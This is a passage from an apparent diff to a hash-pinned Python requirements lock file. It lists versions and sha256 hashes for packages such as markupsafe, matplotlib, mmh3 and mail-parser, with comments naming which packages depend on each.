--hash=sha256:3ab541146f1f6968c462d6c2ac495148e8cdba2f8347700b2141b6ec5a75bf52 \ + --hash=sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5 \ + --hash=sha256:3fd9728a2735fda14f4e8235830c86b539e9661e849665bf926d3f867943b4bf \ + --hash=sha256:424aa57aca0897eb922aef34395bd1289b3b6f04e6bae20ea123c0c7e333cffc \ + --hash=sha256:441dd227fa0690eb9fc81edabc63cdcefc212bba99b906dcf6e32cc1a9d3e533 \ + --hash=sha256:469e3618338bd7ab5beb412d2439825479fcf0dab99e394ca563dbc4eaf6c834 \ + --hash=sha256:47402e62c52ff5988c1e8c6c63177f5708bccf48e366dea4e3dcf1e645e04947 \ + --hash=sha256:4f0dd2f01f9f8a89f565d000e03abcf0a13d692a346c8d22f628d49af098777a \ + --hash=sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2 \ + --hash=sha256:53c909b62a0532183542fed00c5a7218258c56292d409bc789886fe1cb04c438 \ + --hash=sha256:54a7f95e4de5fb94e2f9f4b9055c6ba33bf3d628fd77a1d647c5923caa2cdcdc \ + --hash=sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea \ + --hash=sha256:55b03549819867ea141c0202242c4816c82e52ec36e7e648db9d8da5a3dc3ed6 \ + --hash=sha256:581d4c8ae690a6609e64862dd6b7c2489635c2d13907fc2b20f2bc200ff1d21e \ + --hash=sha256:58bb955caba94e467d2a96da17660d2d704e0675894cba21ab8a775b8621fd1c \ + --hash=sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383 \ + --hash=sha256:5ba186ad207446c65d3bb3d3e0412b032b1d9f595e59861e2354798c5703d955 \ + --hash=sha256:5bec7d03d78d853597d6107854c2310ce3f761fd218fe9fe91d5101fcf6c2efe \ + --hash=sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074 \ + --hash=sha256:5f6994074ebae6ffb04447268e37dc16edc304f9859cf91acb86e0af6c1b395c \ + --hash=sha256:62aeb7e85b5d60320b9d77eef2e773994e2c0ce10121b277e0a19804e1654a5a \ + --hash=sha256:63876be28efefa04a1df615b46770e82042cce445cfdce55160522f57b231ccb \ + --hash=sha256:639f6c857d91d9be29bd7502348d6736dab168b54b5158cd899abf11684dc186 \ + --hash=sha256:640f97d43d867bcb9c75b3af013b64850756b746cb6bce8ace83b70da3abba9d \ + --hash=sha256:649dda677cf3bd6ac9ae14007ba0c824ded8ce5808b53fc7431d9140399118c1 \ + --hash=sha256:6540377fbd53fe1b629172288c464fb18db11ce1fa7dc15891da10aa9dcc3e7f \ + --hash=sha256:6689e828a94eee4f139408c337bb198e014724bb8a8c26d3cfac49d119ed69a6 \ + --hash=sha256:68a9198d0fc122d14bb76837de9aa80cf84caed990b5b237f532ed87d3706736 \ + --hash=sha256:6b1761fbf9ec984e2e9d9c589ef5f5fd684b7c19f92aadd567a26c5224958db6 \ + --hash=sha256:70cdfd80589d59e43e18005dd7244e8895e93db8ab6a620b7e23df5445a4e3d2 \ + --hash=sha256:70ef8a7e102a1508f8121aae5b0867abd663f72c14f0a9c937e6554cb4587b7b \ + --hash=sha256:73bc2086f141224ebddb7fc5c6a36ca58b31b94b561e1dfe8e073e3270fad1e7 \ + --hash=sha256:74a9717fd0d82effef5c2854f0d917231d5324b5a3eb7275c43ac9fa32f97a14 \ + --hash=sha256:752d3bbfe874715ccd0aec7f88d7fc623c0f1fd7aa7b3238a084e017bad2a009 \ + --hash=sha256:762ff394d5bd56da0cf034a23dcce4e13923f15321a2adfa2ac00201dc6d3fca \ + --hash=sha256:76447f65250ed2501ead1a1552f5ce8edff159a86f308348e6a9c4acb5e1f1b4 \ + --hash=sha256:766b010012d59470072c1816b5b6c69f1d243e5db36ea5968e94accf430a4635 \ + --hash=sha256:787b2496d0dbe8cd180984e8d29e3a6f76e7ea34db781cb3bd55e4ba1ef8b4ee \ + --hash=sha256:793033d6c5cdf33a573f910d9bea14ef8f5771820411d118da8e1182edb53d5e \ + --hash=sha256:7d47866cb32fb503450b6edc9df355d10dc49836af2e89901bd6ac6b0896d9d9 \ + --hash=sha256:7f7a92e8583f06b1fd49d01158143b8461cfcd135dcb10ec807270a3051bd603 \ + --hash=sha256:80c2dfadb855da477cf73373ad29a333535dedb9b12bad02c9814c8e2b43bf08 \ + --hash=sha256:83b6b30eb131da7a75b601f28c5d6971e6ed3e887919bf6b6a1ad3c2df289080 \ + --hash=sha256:86281fbdd6a8162756f8d603f37e3435bfa38043adb79c6dc6a2dfee065e7525 \ + --hash=sha256:86c89b9d55ebf820ad7c90bc533410f0d098054f293351f10603c0c46ff598f5 \ + --hash=sha256:876e1ff5930ed8bf295ec5ef9a8155e9b6b1876bbf1deed8b3a8069311875a8f \ + --hash=sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067 \ + --hash=sha256:88d8cb75b9d82858497a5393e3c63cfbf03035225e4b35a49ed7ccb151e4dc0e \ + --hash=sha256:8be8ad51249698103d24b0571df35a10990fbe93dd043b6c024172189485f5e3 \ + --hash=sha256:8d43ca737b20e106e4aebc42b2f3ae19f00ba63d7eb731698ee083d72d15646f \ + --hash=sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485 \ + --hash=sha256:9395002973c827b3ed67db77e6ec09f092919a587022174554096a269378fb13 \ + --hash=sha256:96f2ec43df44b1f76249ee0a615334f9b5b060e1c8bd90e706dad2d14d02f383 \ + --hash=sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315 \ + --hash=sha256:9e36f163528fc50cbef305f02a5fd66d404edf7049cdaff211dbc2cba5a7013e \ + --hash=sha256:9eb9b5a968f6e0f6d640092a567e14529ff8cea2e29d00da6f78a79fa49f013c \ + --hash=sha256:9f76acfb5f68ba982635a53fd985a8044be98a35b43232c2a1ee235ffab3e1dd \ + --hash=sha256:a088f287f7d8275a33c07f2cac6c50b9319309a0200a39e7e75d80c707723099 \ + --hash=sha256:a10bd2fd62e8ce916ececb342f348f190724a098c1faa056fdfb2a22ad5e8660 \ + --hash=sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510 \ + --hash=sha256:aa366a1e55b8ebfe8ca8ddc3cfe75c8ebade181aeb0f661d0cb05986b647f72a \ + --hash=sha256:aa49e06d94aba782c6a02eecb7e507969e7e7a41b267f1b359bb35585f295d5b \ + --hash=sha256:aad9aa39483ed8ec44d6d2e59e5b98a0d80676ef0d92f44bfc374836111f62f5 \ + --hash=sha256:aae97dfdb60715c164419ac2532a76d013c3918a665eb6cb7288098b5f349aaf \ + --hash=sha256:abbefa31eee84842140f67acef1c828e28bba8bbf0c3bc6e5492a9af88152c28 \ + --hash=sha256:ac931cdc9442c1763b8a8f6cd62c0c938737eafc5be75eff88df55fc73bc0d00 \ + --hash=sha256:acd7d70b64c0aae0c7922cca83d288a16f5f6da523637697872253415269baef \ + --hash=sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1 \ + --hash=sha256:aee395f5d0927f947758b4ec119fd5fc8ec71f07a1c5c52077b30b04c0fa6955 \ + --hash=sha256:b1b963fd8f5caa68e99dfae060d54de1fe9cba899b8718b44a00cdca53c3e590 \ + --hash=sha256:b2d444f2e66624d68e9c6b211e28a76e22fff5fcabcfff4deac18b529b7d4137 \ + --hash=sha256:b8d812c6011c08b8111a15e54dd990b8923692d80adf35488bee34026c35accf \ + --hash=sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40 \ + --hash=sha256:bdebcc8a75d38c7598dfb2c9ed852d7a9eb4a10d6e2d0764b919b802bf32ac88 \ + --hash=sha256:c07da4cebf6889f03ebac8d238f62318e29f495de0aa18a51ea14e61ae907e2e \ + --hash=sha256:c08e5c694306507275f2290073350c4f32e383db15213b2c69e7ff39c1193840 \ + --hash=sha256:c4f469aebd783bb741c2ecb2a681008fd26bfe5c16a9a72ed5467f834e810df2 \ + --hash=sha256:c5d7152ec39ca7c402d8fb9bad86140a15b9503bd0c54484e3f1bbe3dd37ceca \ + --hash=sha256:c674693f055fa2495de12292cb45e9944199d8eaef5a2dec45175c7c61cb73e3 \ + --hash=sha256:c6ed5141a5c7507cf3ee76bd363b0d6f801e3321adc35b5d825a23115faa5465 \ + --hash=sha256:c921ba5c51e4e9f63b8b00267d06566e1f63407408a0496da2d1d0bfc819c7fc \ + --hash=sha256:c9a4b821dc7055bf9e05ff5719e18ec501f75c0f0bbfabd573b277559780833d \ + --hash=sha256:c9f79d5325907f13e1be0b3e4dacc1049d1dffc4aeee3c995284bea5fe0fab7d \ + --hash=sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa \ + --hash=sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a \ + --hash=sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a \ + --hash=sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206 \ + --hash=sha256:d34bbf07dbc7ca5970671b1512e928991fb5e9d95365636c9b2d8b4f53af405e \ + --hash=sha256:d49514be2f28d895c38cf9d2b72d7b9a07d00314519f456c0b50b53cfcf4c785 \ + --hash=sha256:d680fbcb768404c601ecb43519ecd8461f6954cb11c06a78962f666832ccfca8 \ + --hash=sha256:db1d75f6617a49c1c01bc7023713e0ff59ab32c9579ae62a7674c0e34f3b0b0a \ + --hash=sha256:dcb292aa7fe485ceff7af4f92e46c5af397daec5dff64871a528f0fc47a3cc5b \ + --hash=sha256:e07c65f443c887bbcf31cc1771d932ecc192a5273943589b3c7572b749f1ffb2 \ + --hash=sha256:e902da4b04e6b52e5893900d4b8ab46068f75f3561f01bf1080957f9fd932ed6 \ + --hash=sha256:e9308ff8241c532df3f3e570f9a5aeed6c853f888512ba4b75638d7c11c95ef6 \ + --hash=sha256:eb7c9811bfaa8b1ed5ed319f5d370dfbcaa59d52ea64be2a5a85e18195930354 \ + --hash=sha256:ebe6af670449830d6d9b752c256a983291c766a1365ba5d5460048f9e33a7818 \ + --hash=sha256:ed21202aec73cda4d55d1ce57b389aadb90ffb044e6cd1080b8347efe1b1ec84 \ + --hash=sha256:efe0374196335f93b53269acd811b944f2e6bdc88e8894f214bd636455484909 \ + --hash=sha256:f64ec5397ea6a41fc1b4af0380d79b44a755b5531dcaccd9940fb260dca93038 \ + --hash=sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d \ + --hash=sha256:f6f0ce10945fab9c4c06ce14e22af9059d1a87493a9af4501a5b0b9187e21cf2 \ + --hash=sha256:f8844cd288697c6425c9beba919302241e3278871dc6519515e72b04e987abcf \ + --hash=sha256:fe0306bd29505a9177aac19f1877174b0e7422c222a59f70b2cd41633448c3dc \ + --hash=sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d \ + --hash=sha256:ffecec8eb889b58ba9be5b95fb1cc78e22ea8eedea38e8736a1568fe1979250e + # via + # semantica (pyproject.toml) + # doclang + # python-docx + # python-pptx +mail-parser==4.6.1 \ + --hash=sha256:7381853eccb551c83090c90f3ef16e433e8c9b320acbe27145a13c0d2fca480f \ + --hash=sha256:f688394e26e3f838fee33039bda5b8ea1876622c81ff0c5f0db5a817379ff62c + # via docling-slim +markdown-it-py==4.2.0 \ + --hash=sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49 \ + --hash=sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a + # via rich +marko==2.2.4 \ + --hash=sha256:c042c66f835425673123d7536b39b4660de3b68e30078c70fd26245b31170683 \ + --hash=sha256:d80510506edba096ec49d4720a09645fa0bb78e7b7b88697f20032fc19730aa9 + # via docling-slim +markupsafe==3.0.3 \ + --hash=sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f \ + --hash=sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a \ + --hash=sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf \ + --hash=sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19 \ + --hash=sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf \ + --hash=sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c \ + --hash=sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175 \ + --hash=sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219 \ + --hash=sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb \ + --hash=sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6 \ + --hash=sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab \ + --hash=sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26 \ + --hash=sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1 \ + --hash=sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce \ + --hash=sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218 \ + --hash=sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634 \ + --hash=sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695 \ + --hash=sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad \ + --hash=sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73 \ + --hash=sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c \ + --hash=sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe \ + --hash=sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa \ + --hash=sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559 \ + --hash=sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa \ + --hash=sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37 \ + --hash=sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758 \ + --hash=sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f \ + --hash=sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8 \ + --hash=sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d \ + --hash=sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c \ + --hash=sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97 \ + --hash=sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a \ + --hash=sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19 \ + --hash=sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9 \ + --hash=sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9 \ + --hash=sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc \ + --hash=sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2 \ + --hash=sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4 \ + --hash=sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354 \ + --hash=sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50 \ + --hash=sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698 \ + --hash=sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9 \ + --hash=sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b \ + --hash=sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc \ + --hash=sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115 \ + --hash=sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e \ + --hash=sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485 \ + --hash=sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f \ + --hash=sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12 \ + --hash=sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025 \ + --hash=sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009 \ + --hash=sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d \ + --hash=sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b \ + --hash=sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a \ + --hash=sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5 \ + --hash=sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f \ + --hash=sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d \ + --hash=sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1 \ + --hash=sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287 \ + --hash=sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6 \ + --hash=sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f \ + --hash=sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581 \ + --hash=sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed \ + --hash=sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b \ + --hash=sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c \ + --hash=sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026 \ + --hash=sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8 \ + --hash=sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676 \ + --hash=sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6 \ + --hash=sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e \ + --hash=sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d \ + --hash=sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d \ + --hash=sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01 \ + --hash=sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7 \ + --hash=sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419 \ + --hash=sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795 \ + --hash=sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1 \ + --hash=sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5 \ + --hash=sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d \ + --hash=sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42 \ + --hash=sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe \ + --hash=sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda \ + --hash=sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e \ + --hash=sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737 \ + --hash=sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523 \ + --hash=sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591 \ + --hash=sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc \ + --hash=sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a \ + --hash=sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50 + # via + # d3graph + # jinja2 + # nbconvert +matplotlib==3.11.1 \ + --hash=sha256:0c1f44890d435c1b4ef52f701ad5828cb450ea97bcc83918fda6be74965d6cd2 \ + --hash=sha256:11664c551345553db92e61cae6cf1376f138f8c47cafdf13b64b18f3e3e9e464 \ + --hash=sha256:1524e2bdd48a93557aa47ddcfe9c225dfdd57d5a01a5c49128c20f0632980ee1 \ + --hash=sha256:191163532cdefcb1571ca38a6d7e6474baccde64495783e6ba47aa07ec4b9bbb \ + --hash=sha256:1ac697e591c11b6ad04679a73c2d2f9980fe9d9f0311fb414a2e329706343dfb \ + --hash=sha256:216fbb93a74add02ddb4cb38ef5348f59ac00b3e84567eaf16598772d40e150a \ + --hash=sha256:21a67b961a6d597bca54fae826cd20695ba4a6e4d05424a08da6e13e3176fd6b \ + --hash=sha256:2abdee5ffa2fe11b2d19f7a5c63b785fb7c28cc46c7bc1814156341d9d1a33e1 \ + --hash=sha256:30c492d4ba9448595b6fd8708c6725963f8148e25c0d8842948da5b05f0ee8d3 \ + --hash=sha256:3d3fd84082b1afbd9398466c81309e20045be20d48fe0fb18c43504d164cbbb2 \ + --hash=sha256:427258425f9a3fc4ed79a91f9e9b9aaf5a82cb6571e85dc14063cc6fbb993741 \ + --hash=sha256:480194afceca4df2f137c2721227d3cba67121fbf4397b69cee7f83714b0a58a \ + --hash=sha256:54d47b8ae8b579633a3902ca5b4ad6c1e132a5626d64447b2e22a66394e79987 \ + --hash=sha256:5af0dcda57d471440a7b5b623e70e0a61003518443d9098f211a96ecfbbc25be \ + --hash=sha256:5e1f8922ba31959cf6a9dfb51be64b7f7bc582801a3957dc0c2f3afcd3537adf \ + --hash=sha256:5e510088c27a89d53580a752f959146893563e63c330e161d159b0fee652af6f \ + --hash=sha256:6771b0cd7838c6a857a7209814158c0ad09bfef878db3033dd82d70ad101f191 \ + --hash=sha256:67e4c3cd578c65ebd81bdc09a1b6592ceafee6dfafe116dc85dfcb647b5bbb18 \ + --hash=sha256:68408341f2312836fbbdf6b3c78047f65b2d8752f5fd221c3e72d348f5b34f8b \ + --hash=sha256:69647db5746941c793d6e445a4cd349323ffb87d9cc958c2ad84a659b4832d30 \ + --hash=sha256:6be943cb68bc6660ead58c55b3aa6366cba2ef7feb06460fbcce32360376f19f \ + --hash=sha256:7389b77ed2ab0552f46d9a90b81b7b8e6dfcdc42adc36c37a0865799843e0e3e \ + --hash=sha256:7f33a781e12b1e53b278deb2f5373c2e55ec4f10727be3440c0cfb5cda9f944f \ + --hash=sha256:83235693abde86e5e0129998f80ee39fc7f58e6d56a88fafb28a9278833e9d5f \ + --hash=sha256:88a2a27dd9691ae448dfae4b26f59036be90c3c28757edd3553a29559d00859f \ + --hash=sha256:89b193b255f4f6f7948dbcee3691f4f341ab05d9a8874a67b45ddb4182922eda \ + --hash=sha256:8b14eb22961fe865efb0e4ff167e333e428908b00115a8d800ccb65ee108e481 \ + --hash=sha256:9601a1e90be21e4884c53b4f3dc3ee0544654946f9975258d691f1c2e2f119c6 \ + --hash=sha256:96f4bdeea33a8d15a071dbfe6d119451b1d719c733ac666d65357082901a9099 \ + --hash=sha256:9a076f4fc5cdc43fdf510f5981418d25c2db4973418d9f22d8bb3dc8045ada78 \ + --hash=sha256:9fdf1c818ab05d0e74002091ddaf414478a3a449ec9d51c8976d45be7e3a01e2 \ + --hash=sha256:ac104be2768ffdd8655db9e71b768cbb45f2b9aa7b450cf1595e8f65d3822319 \ + --hash=sha256:ae30c6109848ac0f9fa36c5d6270938487614c47ba31860bd5361266dabc5685 \ + --hash=sha256:aee55e9041211bf84302ab55ec3965df18dd90ae19f8b58332a7feaf208bfe83 \ + --hash=sha256:b0a19dcf73406d3746d25a5ed42d713604c9a3e024d129b102852b0d941cb9f3 \ + --hash=sha256:b4c78ceb2f11bcac7389d305cda17aeb1f4586a857854ab5780bd3dd8dbfc407 \ + --hash=sha256:b7cf158e7add54a8d51ac9b5a84abd6d4e13ed4951b4f25f1c5139f41c2addb2 \ + --hash=sha256:b937b9dba5f5f6c1e31c47abe2186c865c0914fd18f2ce0dfc39c9adcef5951d \ + --hash=sha256:ba8f811b8ddfac493734d6af0b2dff96919d0c28ca0d641858dab4262777c6ea \ + --hash=sha256:c52f7ad20ef476806ed212380b1d54d20310c8b86bdc2c9a68b51f0024a44472 \ + --hash=sha256:c90be0b73568da4f662afac580956a76e308437e641b4a45aa08925eeb67d95f \ + --hash=sha256:d2ace7273b9a5061a3b420918a16fae1f2dc5dfee1abcc13aba71b5d94b1820c \ + --hash=sha256:dadfe80797174e2984aae3be0b77594a3c72d2c0a40fbd4a0de48d2728caf3ae \ + --hash=sha256:e15ef41507f3d525f46154ac9e3ae785dacde9f20e593a25de8986267892ef74 \ + --hash=sha256:e4b9ac2f1f607ecda2af90a5232beee2af7582fce1cc30c4b6a1b012dc21ee99 \ + --hash=sha256:f2912f647f3fbe1ccf085f91e213936f9101bead81a5e670565b1f1b3712f4fb + # via + # semantica (pyproject.toml) + # colourmap + # distfit + # scatterd + # seaborn +matplotlib-inline==0.2.2 \ + --hash=sha256:3c821cf1c209f59fb2d2d64abbf5b23b67bcb2210d663f9918dd851c6da1fcf6 \ + --hash=sha256:72f3fe8fce36b70d4a5b612f899090cd0401deddc4ea90e1572b9f4bfb058c79 + # via + # ipykernel + # ipython +mccabe==0.7.0 \ + --hash=sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325 \ + --hash=sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e + # via flake8 +mdurl==0.1.2 \ + --hash=sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8 \ + --hash=sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba + # via markdown-it-py +mistune==3.3.4 \ + --hash=sha256:58b5c96d6fcb61190dfe5fae498d2b2065f99cf61e9649418fd54cf1ada86dfe \ + --hash=sha256:ee015381e955e370962968befe1d729ab60fafb6a715ac6751763fbce38c8d4a + # via nbconvert +mmh3==5.2.1 \ + --hash=sha256:022aa1a528604e6c83d0a7705fdef0b5355d897a9e0fa3a8d26709ceaa06965d \ + --hash=sha256:0634581290e6714c068f4aa24020acf7880927d1f0084fa753d9799ae9610082 \ + --hash=sha256:08043f7cb1fb9467c3fbbbaea7896986e7fbc81f4d3fd9289a73d9110ab6207a \ + --hash=sha256:0a3984146e414684a6be2862d84fcb1035f4984851cb81b26d933bab6119bf00 \ + --hash=sha256:0bbc17250b10d3466875a40a52520a6bac3c02334ca709207648abd3c223ed5c \ + --hash=sha256:0cc21533878e5586b80d74c281d7f8da7932bc8ace50b8d5f6dbf7e3935f63f1 \ + --hash=sha256:0d0b7e803191db5f714d264044e06189c8ccd3219e936cc184f07106bd17fd7b \ + --hash=sha256:113f78e7463a36dbbcea05bfe688efd7fa759d0f0c56e73c974d60dcfec3dfcc \ + --hash=sha256:169e0d178cb59314456ab30772429a802b25d13227088085b0d49b9fe1533104 \ + --hash=sha256:17fbb47f0885ace8327ce1235d0416dc86a211dcd8cc1e703f41523be32cfec8 \ + --hash=sha256:19bbd3b841174ae6ed588536ab5e1b1fe83d046e668602c20266547298d939a9 \ + --hash=sha256:1d9f9a3ce559a5267014b04b82956993270f63ec91765e13e9fd73daf2d2738e \ + --hash=sha256:1e4ecee40ba19e6975e1120829796770325841c2f153c0e9aecca927194c6a2a \ + --hash=sha256:22b0f9971ec4e07e8223f2beebe96a6cfc779d940b6f27d26604040dd74d3a44 \ + --hash=sha256:26fb5b9c3946bf7f1daed7b37e0c03898a6f062149127570f8ede346390a0825 \ + --hash=sha256:2778fed822d7db23ac5008b181441af0c869455b2e7d001f4019636ac31b6fe4 \ + --hash=sha256:28cfab66577000b9505a0d068c731aee7ca85cd26d4d63881fab17857e0fe1fb \ + --hash=sha256:29bc3973676ae334412efdd367fcd11d036b7be3efc1ce2407ef8676dabfeb82 \ + --hash=sha256:2bd9f19f7f1fcebd74e830f4af0f28adad4975d40d80620be19ffb2b2af56c9f \ + --hash=sha256:2d5d542bf2abd0fd0361e8017d03f7cb5786214ceb4a40eef1539d6585d93386 \ + --hash=sha256:30e4d2084df019880d55f6f7bea35328d9b464ebee090baa372c096dc77556fb \ + 